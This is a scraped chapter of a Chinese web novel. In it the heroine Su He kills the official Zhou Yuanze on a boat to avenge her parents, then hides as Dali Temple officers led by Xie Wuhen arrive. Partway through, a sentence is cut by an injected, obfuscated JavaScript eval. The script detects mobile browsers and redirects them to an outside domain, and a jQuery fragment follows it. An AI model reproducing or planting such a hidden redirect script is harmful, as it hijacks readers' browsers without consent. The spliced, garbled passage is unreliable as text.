默认冷灰
24号文字
方正启体

97. 搏3

作者:十豆水本书字数:K更新时间:
    周元泽肥头大面,倒地的瞬间,整个船身都跟着晃了晃。


    他似乎没想到自己会摔倒,他身子一向灵便的。


    周元泽吃力地挪了挪,想要爬起来,可是浑身无力,爬不起来。


    “你又给我下毒?”他气急败坏地质问。


    苏荷仍面色不变地坐于桌前,语气戏谑:“周大人并未碰这桌上食物,奴家如何下毒?”


    周元泽朝船舱内瞟了几眼:“这……这船上有毒?”


    苏荷意味深长地看着他,那目光里竟还带着几许怜悯:“眼下这船上就只你我二人,我确实可以轻而易举地毒倒你,只是以周大人眼下的情况,再施毒未免也太浪费毒药了,毕竟淬毒也是件费力的事啊。”


    周元泽听不懂她话里深意:“你究竟是何人,究竟要做什么?”


    “我要做什么不是很明显么?”苏荷从桌前起身,款款行至他身前,一字一顿,字字清晰:“我想要取你的性命啊周元泽,至于我是何人,这就说来话长了。”


    周元泽咬着牙关,愤怒地盯着她。


    她却是一副漫不经心的架势,随手拖了把椅子过来,屈身坐下,睥睨着他:“之前确实是我扮作花娘潜入怡春楼去杀你,只是可惜啊,那会儿你命大,竟逃过一劫,后来你父亲为了护你周全,日日将你拘在府中,致使我想杀你而不得,没办法,我只能另辟蹊径了。”


    周元泽厉声谩骂:“贱人,你个该死的贱人。”


    苏荷懒得理会他,继续说下去,“我得知你父亲为了诱我出现,特意去昌隆酒楼设局,只是我可没他想象的那么傻,我趁着他设局的功夫,反将你诱到了此处,你说你父亲是不是聪明反被聪明误呢?”


    周元泽气得头昏脑胀,双目泛红:“我要杀了你,我要杀了你……”他极力想爬起来,但越使力却越不得力,以至于整个身子如蟒蛇般在地上吃力地蠕动。


    “周大人不想知道我另辟了什么蹊径么?”苏荷轻笑,“我在你每日所饮的鸽血汤里加入了驴肾粉,对于肾亏之人,这驴肾粉不仅能助你兴阳升欲,且还会在你肝火上涌之时让你心脉尽断力气散尽直至七窍流血而亡,所以,眼下周大人越是大动肝火便是死得越快啊,所以,也就无须浪费我的毒药了。”


    所以,她刚刚是在故意激怒他,故意推着他往死路上走。


    瘫软在地的周元泽眸中闪过惶恐与惊惧,伸手指着她:“你竟还买通了鹁鸽铺的老板……我与你有何仇何怨,以至于让你……如此费尽心机……”


    “周大人今日是有命上船却没命下船了,我自是不会让周大人死得不明不白。”她说着蹲下来,凑近他,“我与周大人的仇怨早在八年前就结下了呀。”


    不待周元泽回应,她又说:“对了,我还没告诉周大人我是何人呢。”她再次俯身,几乎凑到了他耳边:“周大人且听好了,我是你念念不忘的那位‘会制饮子的男仆’的女儿,而他貌美的妻子便是我的娘亲。”


    周元泽闻言兀地一怔,恍然大悟。


    随后将脑袋往后仰,再次打量她的脸,更深的恐惧从他眉眼里缓缓溢出:“原来你是她的女儿,怪不得……怪不得长得这样像。”


    苏荷从袖间掏出一根细细的足有半尺长的银针,慢慢的,一寸寸的逼近周元泽。


    周元泽以肘支地,也在慢慢的、一寸寸的往后挪,嘴里喃喃相问:“你……你要做什么?”


    苏荷答:“你玷污我娘亲、杖毙我爹爹,我自然是要取你性命了。”


    周元泽气息发颤:“你……你冷静一点,咱们万事好商量。”


    又说:“我可以弥补,无论你要什么,我……我定让你得偿所愿。”


    苏荷冷笑:“你们这些达官贵人当真是幼稚,总是在需要付出代价之时扬言可以弥补,但不幸的是,一切都为时已晚。”


    她说着继续朝他逼近。


    她每往前挪动一寸,他便是往死亡靠近一寸。


    他陷进了恐惧里,在竭力喊着:“救命、救命。”


    又喊:“来人,旺儿、旺儿快来……”


    又喊:“谢……谢无痕也不会放过你的……”


    苏荷的语气漫不经心:“这里乃是偏僻的南岸,周大人就别白费力气求救了,至于谢无痕嘛,那也不是周大人该操心的事。”


    她说着突然起身,继而以迅雷不及掩耳之势将手中银针狠狠插进了周元泽的颅顶。


    不过片刻,周元泽便口吐鲜血,歪着身子倒了下去。


    倒地后还弹了弹,直至失去声息。


    他终于死了!


    空气兀地变得无比安静。


    安静得她能听到船下的水声,还能听到自己踏实的呼吸声。


    她垂眸看了眼周元泽的尸身,再脱下身上船娘的衣裙,随即转身走出了花船。


    夜风透着寒意,吹得她的衣摆猎猎作响。


    月朗星稀的天空犹如一只巨大的张大的嘴巴,随时要将这黑茫茫的大地吞入腹中。


    她走下船头、走向河岸,仰头对着那只巨大的嘴巴长长舒了口气。


    大仇得报,她感觉如释重负。


    但在那如释重负里,她又感觉到了一种空洞与轻盈——一种生命不可承受的空洞与轻盈。


    她好似失去支撑,也失去方向,整个人犹如虚脱了一般,要被这茫茫的黑暗所碾碎。


    她在河岸上踉跄了一下,差点摔倒。


    春兰远远地跑过来,一把扶住了她:“小姐,你没事吧?”


    苏荷缓了缓:“我没事。”


    春兰问:“周元泽死了没?”


    苏荷疲惫地笑了笑:“死了。”


    春兰松了口气,也笑了笑:“周家那名小厮也被我毒晕了。”


    刚刚她守在外头便是为了对付那名小厮。


    她用火折子点然了苏荷所给的香料,不过片刻,那名小厮便被香料所释放的烟雾放倒。


    故尔在周元泽大声喊着“旺儿”时,岸边的旺儿早已无知无觉。


    “春兰,我刚对周元泽说了许多话。”她语气里也带着疲惫。


    春兰回:“小姐何必与那个恶人废话。”


    “因为我高兴呀春兰。”


    “小姐高兴,我便也高兴,姑姑也会高兴的。”


    她“嗯”了一声,再次长舒一口气,“报完仇了,咱们也该回去了。”


    春兰回,“好,咱们回去。”


    二人相携着走过夜幕下松软的河滩,走到了笔直的马路上。


    才在马路上行了丈余远,前方蓦地出现一列火把,远远看去,犹如一根橙色的细线。


    春兰大惊:“小姐,那是不是周家人?”


    苏荷安抚她:“别慌,再好生瞧瞧。”


    二人伸着脖子细瞧,那列火把也在徐徐靠近。


    从晃动的火光里,可隐约看到那群人身着相同的衣冠、腰挂相同的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196796|172640||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长刀。


    苏荷心头一沉:“竟是大理寺的官兵。”


    她记得谢无痕曾委婉透露过会去昌隆酒楼设伏,却没想到他竟也来到了这清水河南岸——没想到他竟追得她这样紧。


    春兰闻言吓得双腿发软:“是不是姑爷也来了,万一……万一他看到咱们可……可怎么办?”


    她说着还环顾一眼光秃秃的河滩:“这地儿连躲的地方也没有,小姐咱们该怎么办?”


    苏荷一时也有些猝不及防:“这个谢无痕当真不好对付。”


    她思量片刻,抬眸看向夜幕下的茫茫旷野,无掩体,无遮挡,确实是无处藏身。


    旷野边缘虽散落着一些民房,但离她们太远了,俨然是躲避不及。


    唯有马路边的一栋木屋可供栖身。


    她知道那是一处茶铺,供路过的挑夫歇脚之用。


    此时茶铺早已关门打烊,但屋内却泄出点点烛火。


    她沉声回:“咱们去那栋木屋吧。”


    当苏荷与春兰跨进木屋时,谢无痕正领着大队人马穿过木屋外的马路直奔河岸的那艘花船。


    无数支火把照得大片的河岸犹如白昼。


    差役们行色匆匆,恍若鬼魅,他们一部分人留在岸边值守,另一部分人则快速跳上了船。


    多亏了周家那个叫昌平的小厮,谢无痕才得以知晓泊于南岸的这艘花船。


    他赶到周家时周元泽早没了踪影,于是立即严审周元泽身边的婢女小厮,最终在小厮昌平口中探到消息。


    昌平战战兢兢:“小人奉老爷之命随时留意少爷的动静,所以便在屋外……偷听到了少爷和旺儿的对话,少爷说……要去清水河南岸……一艘叫什么‘月坊’的花船。”


    谢无痕闻言立即出屋,带着人手赶往清水河南岸。


    此时他已上得花船,看到了船内已经死去的周元泽,心头竟涌出一股莫名的庆幸。


    毕竟,死的是周元泽。


    毕竟,多福娘娘的孩子无恙。


    他无心细探周元泽的死因,不过是弯腰摸了摸周元泽的颈部,那颈部竟然还有余温。


    他环顾一眼船仓,仓内无遮无拦一览无余,并无藏人处。


    谢无痕立即吩咐吴生:“人刚死,公主应该没走远,速速安派人手去附近搜查。”


    吴生应“是”后转身而去。


    不过片刻,马路上再次火把林立,一部分差役去远处的民房搜索,另一部分差役则沿着河滩搜索,万一公主是潜伏于水中呢?


    但一通搜索下来,除了发现周家那名晕倒的小厮,竟是一无所获。


    吴生有些疑惑:“头儿你说这公主是不是长了翅膀,直接飞走了?或者长了鱼鳍,直接从水底游走了?”


    谢无痕看着茫茫荒野,半晌无言。


    片刻后他抬眸,扭头看向了不远处那栋木屋。


    木屋孤悬于马路边,孤悬于夜幕下,显得格外突兀,也格外打眼,点点烛火自门缝泄出,成为暗夜里的一抹微光。


    吴生有些疑惑:“那不是咱们刚刚经过的屋子么,头儿往那儿看什么?”


    末了似会意:“难不成头儿觉得公主会藏身于那栋屋子?不可能的,不可能的,除非公主傻了,才会找如此显眼的地方藏身。”他边说还边摆手。


    谢无痕却已转身,提步走向那栋散发出微光的木屋,边走边说:“谁说不可能呢,最危险之地,亦是最安全之地。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)